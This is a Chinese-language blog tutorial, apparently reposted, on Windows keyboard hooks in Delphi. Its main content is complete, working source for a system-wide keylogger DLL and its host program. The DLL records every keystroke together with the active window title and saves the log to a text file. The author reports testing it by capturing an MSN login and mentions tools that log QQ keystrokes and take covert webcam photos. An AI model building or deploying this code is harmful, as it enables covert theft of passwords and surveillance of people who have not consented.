鍵盤Hook【Delphi版】


一.鈎子的基本概念

    a) Hook作用:監視windows消息,在“特定消息”沒有到達窗口之前捕獲它。

    b)鈎子分類:
        線程專用鈎子:只監視指定的線程
        全局鈎子:監視系統中的所有線程
 
            如果Hook過程在應用程序中實現,若應用程序不是當前窗口時,該Hook就不起作用;

        如果Hook在DLL中實現,程序在運行中動態調用它,它能實時對整個系統進行監控.

    c)幾種常用類型的鈎子:

       
    1)鍵盤鈎子可以監視各種鍵盤消息。

    2)鼠標鈎子可以監視各種鼠標消息。

    3)外殼鈎子可以監視各種Shell事件消息,啟動和關閉應用程序等。

    4)日志鈎子可以記錄從系統消息隊列中取出的各種事件消息。

    5)窗口過程鈎子監視所有從系統消息隊列發往目標窗口的消息。

   d) 詳細參考:

         理論分析:http://blog.csdn.net/yincheng01/article/details/6899305
         常用方式:http://www.cnblogs.com/linyawen/archive/2011/03/25/1995624.html

二.鍵盤鈎子的實際應用

     a)鍵盤鈎子DLL源碼

library KeyboardHook;
  
uses
  SysUtils,
  Windows,
  Messages,
  Classes;

{$R *.res}

var
  hook: HHOOK; {鈎子變量}
  LastFocusWnd:Hwnd=0;
  PrvChar:Char;
  HookKey:String;

  KeyList:Tstringlist;

const
  KeyMask=$80000000;
{鍵盤鈎子函數}
function KeyboardHookProc(iCode: Integer; wParam: WPARAM; lParam:LPARAM):LRESULT;stdcall;
var
    ch:Char;           //記錄一個個按下的按鍵字符
    vKey:integer;      //表示按下了哪個鍵
    FocusWnd:HWND;     //當前活動窗口句柄
    Title:array[0..255] of char;    //窗口句柄的標題
    str:array[0..12] of char;       // 當8<=vkey<=46時,表示按下的鍵名,例如[退格]
    PEvt:^EventMsg;         //EventMsg的指針
    iCapsLock,iNumLock,iShift:integer; //狀態按鍵
    bCapsLock,bNumLock,bShift:boolean; //是否按下狀態按鍵
begin
  if iCode<0 then //遵照SDK文檔
  begin
    Result:=CallNextHookEx(hook,iCode,wParam,lParam);
    Exit;
  end;

  if (iCode = HC_ACTION) then                   //設備動作
  begin

    PEvt := pointer(Dword(lparam));           //將lparam的指針傳遞給PEvt事件消息指針
    FocusWnd:= GetActiveWindow;               //獲取活動窗體句柄
    if (LastFocusWnd <> FocusWnd) then
    begin
        if (HookKey <> '') then
        begin
              KeyList.Add('鍵盤擊打:'+HookKey);
              HookKey:= '';
        end;
        GetWindowText(FocusWnd,Title,256);
        LastFocusWnd:= FocusWnd;
        KeyList.add(Format('激活窗口:%s',[Title]));
    end;

    if (PEvt.message = WM_KEYDOWN) then       //如果事件消息為鍵下壓操作
    begin
        vkey := LoByte(PEvt.paramL );         //取得16進制數最低位那個字節的內容
        iShift:= GetKeyState(VK_SHIFT);       //獲取這三個鍵的狀態
        iCapsLock:= GetKeyState(VK_CAPITAL);
        iNumLock:= GEtKeyState(VK_NUMLOCK);
        bShift:= ((iShift and KeyMask) = KeyMask); //判斷它們的狀態
        bCapsLock:=(iCapsLock = 1);
        bNumLock:= (iNumLock = 1);
    end;

    if ((vKey >= 48) and (vKey <=57)) then       //      0<=char(vkey)<=9
    begin
        if (not bShift) then                     //如果沒有按下Shift鍵
            ch:= char (vkey)                     //數字字符
        else
        begin
            case vkey of                         //否則為以下字符之一
                48:ch:= ')';
                49:ch:= '!';
                50:ch:= '@';
                51:ch:= '#';
                52:ch:= '$';
                53:ch:= '%';
                54:ch:= '^';
                55:ch:= '&';
                56:ch:= '*';
                57:ch:= '(';
            end; //end case
        end;    //end else
        HookKey:= HookKey + ch;
    end;        //end if ((vKey >= 48) and (vKey <=57))

    if ((vKey >=65) and (vKey <= 90)) then   // 'A'<=char(vkey)<='Z'
    begin
         if (not bCapsLock) then            //如果沒有按下CapsLock鍵
         begin
            if (bShift) then                //按下了Shift鍵
              ch:= char(vkey)               //大寫
            else
              ch:= char(vkey + 32);         //小寫
         end
         else                              //按下了CapsLock鍵
         begin
             if (bShift) then              //按下了Shift鍵
               ch:= char(vkey + 32)        //小寫
             else
               ch:= char(vkey);            //大寫
         end;
         HookKey:= HookKey + ch;           //將按鍵添加到按鍵字符串
    end;
    if ((vkey >= 96) and (vkey <= 105)) then      //小鍵盤的0-9
        if bNumLock then
          HookKey:= HookKey + char(vkey - 96 + 48);
    ch:= 'n';
    if ((vkey >= 105) and (vkey <=111)) then     //+-*/
    begin
        case vkey of
            106:ch:= '*';
            107:ch:= '+';
            109:ch:= '-';
            111:ch:= '/';
        else
            ch:= 'n';
        end;
    end;
    if ((vkey >=186) and (vkey <= 222)) then        //特殊符號
    begin
        if (not bShift) then            //沒有按下Shift鍵
        begin
            case vkey of
                186:ch:= ';';
                187:ch:= '=';
                189:ch:= ',';
                190:ch:= '.';
                191:ch:= '/';
                192:ch:= '''' ;
                219:ch:= '[';
                220:ch:= '\';
                221:ch:= ']';
                222:ch:=char(27);
            else
                ch:= 'n';
            end; //end case
        end
        else
        begin
             case vkey of
                186:ch:= ':';
                187:ch:= '+';
                189:ch:= '<';
                190:ch:= '>';
                191:ch:= '?';
                192:ch:= '~';
                219:ch:= '{';
                220:ch:= '|';
                221:ch:= '}';
                222:ch:= '"';
             else
                ch:= 'n';
             end;   //end case
        end;     //end if else
    end;        //end if ((vkey >=186) and (vkey <= 222))
    if ch <> 'n' then              //剔除未規定字符
        HookKey := HookKey + ch;
    if ((vkey >= 8) and (vkey <=46)) then
    begin
        ch:= ' ';
        case vkey of
            8:str:= '[BACK]';
            9:str:= '[TAB]';
            13:str:= '[ENTER]';
            32:str:= '[SPACE]';
            35:str:= '[END]';
            36:str:= '[HOME]';
            37:str:= '[LF]';
            38:str:= '[UF]';
            39:str:= '[RF]';
            40:str:= '[DF]';
            45:str:= '[INSERT]';
            46:str:= '[DELETE]';
        else
            ch:= 'n';
        end;
        if (ch <> 'n') then
        begin
            HookKey := HookKey + str;
        end;
    end;
    
   // KeyList.Add('ABC');
  end;//end iCode= HC_ACTION

  result := CallNextHookEx(hook,iCode,wparam,lparam);
end;

{建立鈎子}
function SetHook:Boolean;stdcall;
begin
  if (hook = 0) then
  begin
    KeyList:=Tstringlist.Create;
    hook := SetWindowsHookEx(WH_JOURNALRECORD,KeyboardHookProc,HInstance,0);    //調用API HOOK
    Result:=hook<>0
  end
  else
    Result:=False;
end;

{釋放鈎子}
function DelHook:Boolean;stdcall;
begin
  if (hook <> 0 ) then
  begin
      Result:=UnHookWindowsHookEx(hook);    //卸載HOOK
      hook:=0;
      KeyList.Free;
  end
  else
      Result:=False;
end;

procedure PrintHook;stdcall;
var
  printStr:string;
  txtFile:TextFile;
  fileName:string;
begin
 if KeyList <> nil then
  begin
    printStr:=keyList.Text;
    KeyList.Text:='';
    //將鍵盤輸入內容進行打印
    fileName:='E:\SourceCode\DelphiWorkspace\Demo\鍵盤Hook2\keyboardRecord.txt';

    AssignFile(txtFile,fileName);
    if not FileExists(fileName) then
    begin
      Rewrite(txtFile);
    end
    else
    begin
      Append(txtFile);
    end;

    Writeln(txtFile,printStr);
    Closefile(txtFile);

  end;
end;

{按DLL的要求輸出函數}
exports
SetHook name 'SetHook',
DelHook name 'DelHook',
PrintHook name 'PrintHook';

//SetHook,DelHook,PrintHook;{如果不需要改名,可以直接這樣exports}
begin
end.

     b)應用程序源碼

unit Main;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TFrmMain = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Memo1: TMemo;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
    isHookInstalled:Boolean;
  public
    { Public declarations }
  end;

  {DLL 中的函數聲明}
  function SetHook: Boolean; stdcall;
  function DelHook: Boolean; stdcall;
  procedure PrintHook;stdcall;

var
  FrmMain: TFrmMain;

implementation

{$R *.dfm}
{DLL 中的函數實現, 也就是說明來自那里, 原來叫什么名}
function SetHook; external 'KeyboardHook.dll' name 'SetHook';
function DelHook; external 'KeyboardHook.dll' name 'DelHook';
procedure PrintHook; external 'KeyboardHook.dll' name 'PrintHook';

procedure TFrmMain.Button1Click(Sender: TObject);
begin
   Self.Button1.Enabled:=False;
   Self.Button2.Enabled:=True;
   Self.Button3.Enabled:=True;
   
   if SetHook then
   begin
     isHookInstalled:=True;
     Self.Memo1.Lines.Add('鍵盤鈎子已安裝。。。');
   end;
end;

procedure TFrmMain.Button2Click(Sender: TObject);
begin
   PrintHook;
   Self.Memo1.Lines.Add('已打印');
end;

procedure TFrmMain.Button3Click(Sender: TObject);
begin
   if DelHook then
   begin
    isHookInstalled:=False;
    Self.Memo1.Lines.Add('鍵盤鈎子已撤銷!!!');
    Self.Memo1.Lines.Add(' ');
   end;

   Self.Button1.Enabled:=True;
   Self.Button2.Enabled:=False;
   Self.Button3.Enabled:=False;
end;

procedure TFrmMain.FormCreate(Sender: TObject);
begin
  Self.Button1.Enabled:=True;
  Self.Button2.Enabled:=False;
  Self.Button3.Enabled:=False;
  isHookInstalled:=False;

  Self.Memo1.Color:=clBlack;
  Self.Memo1.Font.Color:=clGreen;
end;

procedure TFrmMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  if isHookInstalled then
     DelHook;
end;

end.

     c)運行結果

        1)程序啟動,安裝鍵盤鈎子

            

        2)通過登錄MSN進行測試

           

        3)打印所有鍵盤操作至txt

           

三.其他

  1.QQ登錄窗口防鍵盤鈎子的詳細分析
    http://wenku.baidu.com/view/05ecf86727d3240c8447ef9e.html
    http://www.sadlycodes.com/?p=745

  2.低級鼠標鍵盤鈎子
    WH_KEYBOARD_LL
    WH_MOUSE_LL
    http://hi.baidu.com/32881/blog/item/b410c702ec2e9c1c4afb5111.html

  3.幾個小工具
     a)QQ啟動后,記錄下部分鍵盤操作
     b)指定時間范圍內個人電腦被惡意啟動,記錄下部分屏幕操作,並通過攝像頭進行拍照


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM